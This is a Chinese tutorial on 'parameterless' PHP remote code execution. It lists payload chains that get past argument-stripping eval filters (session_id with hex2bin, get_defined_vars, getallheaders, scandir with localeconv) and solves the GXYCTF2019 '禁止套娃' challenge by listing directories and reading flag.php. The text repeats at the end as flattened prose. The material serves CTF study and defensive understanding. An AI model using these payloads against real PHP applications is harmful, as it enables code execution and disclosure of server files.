谭谈关于无参数RCE
字数 1541 2025-08-04 00:46:02

无参数RCE技术详解

0x00 前言

无参数RCE(Remote Code Execution)是一种特殊的代码执行技术,它要求在函数调用时不使用任何参数。这种技术常见于CTF比赛和某些安全漏洞利用场景中,当系统对输入参数有严格限制时特别有用。

0x01 无参数RCE基础概念

正则表达式限制

典型的无参数RCE限制条件如下:

if(';' === preg_replace('/[^\W]+$(?R)?$/', '', $_GET['code'])) { 
    eval($_GET['code']);
}

解释:

  • preg_replace 限制传入的必须是纯小写字母的函数,且不能携带参数
  • (?R)? 表示递归整个匹配模式,即匹配无参数的函数,内部可以无限嵌套相同的模式

基本规则

  • 允许:scandir('a()')(无参数)
  • 禁止:scandir('123')(有参数)

0x02 无参数RCE实现方法

方法一:利用session_id

原理

  • 通过HTTP头传参,使用session_id()获取/设置当前会话ID
  • 需要先调用session_start()

限制

  • 仅允许字符:a-z A-Z 0-9 , 和 -
  • 可使用十六进制传入,再用hex2bin()转换

Payload

?code=eval(hex2bin(session_id(session_start())));

示例:hex("phpinfo();")=706870696e666f28293b

方法二:利用get_defined_vars()

原理

  • get_defined_vars()返回所有已定义变量组成的数组
  • 通过GET/POST传入的参数可以被读取

数组操作函数

  • end() - 指向最后一个元素
  • next() - 指向下一个元素
  • prev() - 指向上一个元素
  • reset() - 指向第一个元素
  • each() - 返回当前键名和键值
  • current() - 输出当前元素值

Payload

?code=print_r(current(get_defined_vars()));&b=phpinfo();
?code=eval(end(current(get_defined_vars())));&b=phpinfo();

方法三:利用getallheaders()

原理

  • getallheaders()返回当前请求的所有请求头信息
  • 通过数组操作函数取出并执行

Payload

?code=eval(next(getallheaders()));

方法四:利用getenv()

原理

  • getenv()获取环境变量的值
  • PHP 7.1+可以不给予参数

限制

  • 不适用于PHP<7.1的版本

方法五:利用scandir()及相关函数

核心函数

  • scandir() - 返回指定目录中的文件和目录数组
  • localeconv() - 返回本地数字及货币格式信息数组
  • current()/pos() - 返回数组第一个值
  • getcwd() - 获取当前工作目录
  • dirname() - 返回路径中的目录部分
  • array_flip() - 交换数组键值
  • array_rand() - 随机取出数组单元

组合技巧

print_r(scandir(dirname(getcwd()))); // 查看上一级目录
print_r(scandir(next(scandir(getcwd())))); // 查看上一级目录文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); // 读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); // 查看根目录文件
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd())); // 查看根目录文件

0x03 实例分析:[GXYCTF2019]禁止套娃

题目源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+$(?R)?$/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                @eval($_GET['exp']);
            }
            else{die("还差一点哦!");}
        }
        else{die("再好好想想!");}
    }
    else{die("还想读flag,臭弟弟!");}
}
?>

解题步骤

  1. 构造当前目录查看
?exp=print_r(scandir(pos(localeconv())));
  • localeconv()返回数组,第一个元素是点号(.)
  • pos()/current()获取第一个元素
  • scandir('.')列出当前目录
  1. 读取flag文件
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
  • array_reverse()反转数组
  • next()指向第二个元素(flag.php)

0x04 总结

无参数RCE技术要点:

  1. 理解正则限制条件
  2. 掌握无参数函数调用链构造
  3. 熟悉PHP数组操作函数
  4. 灵活组合目录遍历和文件读取函数
  5. 利用环境变量和会话机制传参

关键突破点:

  • 使用localeconv()获取点号
  • 通过current()/pos()获取数组第一个元素
  • 利用array_reverse()next()等函数导航数组
  • 使用session_id()getallheaders()传参

参考资源

  1. 无参数RCE的几种方法
  2. 无参数RCE详解
  3. 无参数RCE进阶
无参数RCE技术详解 0x00 前言 无参数RCE(Remote Code Execution)是一种特殊的代码执行技术,它要求在函数调用时不使用任何参数。这种技术常见于CTF比赛和某些安全漏洞利用场景中,当系统对输入参数有严格限制时特别有用。 0x01 无参数RCE基础概念 正则表达式限制 典型的无参数RCE限制条件如下: 解释: preg_replace 限制传入的必须是纯小写字母的函数,且不能携带参数 (?R)? 表示递归整个匹配模式,即匹配无参数的函数,内部可以无限嵌套相同的模式 基本规则 允许: scandir('a()') (无参数) 禁止: scandir('123') (有参数) 0x02 无参数RCE实现方法 方法一:利用session_ id 原理 : 通过HTTP头传参,使用 session_id() 获取/设置当前会话ID 需要先调用 session_start() 限制 : 仅允许字符:a-z A-Z 0-9 , 和 - 可使用十六进制传入,再用 hex2bin() 转换 Payload : 示例: hex("phpinfo();")=706870696e666f28293b 方法二:利用get_ defined_ vars() 原理 : get_defined_vars() 返回所有已定义变量组成的数组 通过GET/POST传入的参数可以被读取 数组操作函数 : end() - 指向最后一个元素 next() - 指向下一个元素 prev() - 指向上一个元素 reset() - 指向第一个元素 each() - 返回当前键名和键值 current() - 输出当前元素值 Payload : 方法三:利用getallheaders() 原理 : getallheaders() 返回当前请求的所有请求头信息 通过数组操作函数取出并执行 Payload : 方法四:利用getenv() 原理 : getenv() 获取环境变量的值 PHP 7.1+可以不给予参数 限制 : 不适用于PHP <7.1的版本 方法五:利用scandir()及相关函数 核心函数 : scandir() - 返回指定目录中的文件和目录数组 localeconv() - 返回本地数字及货币格式信息数组 current() / pos() - 返回数组第一个值 getcwd() - 获取当前工作目录 dirname() - 返回路径中的目录部分 array_flip() - 交换数组键值 array_rand() - 随机取出数组单元 组合技巧 : 0x03 实例分析:[ GXYCTF2019 ]禁止套娃 题目源码 解题步骤 构造当前目录查看 : localeconv() 返回数组,第一个元素是点号(.) pos() / current() 获取第一个元素 scandir('.') 列出当前目录 读取flag文件 : array_reverse() 反转数组 next() 指向第二个元素(flag.php) 0x04 总结 无参数RCE技术要点: 理解正则限制条件 掌握无参数函数调用链构造 熟悉PHP数组操作函数 灵活组合目录遍历和文件读取函数 利用环境变量和会话机制传参 关键突破点: 使用 localeconv() 获取点号 通过 current() / pos() 获取数组第一个元素 利用 array_reverse() 和 next() 等函数导航数组 使用 session_id() 或 getallheaders() 传参 参考资源 无参数RCE的几种方法 无参数RCE详解 无参数RCE进阶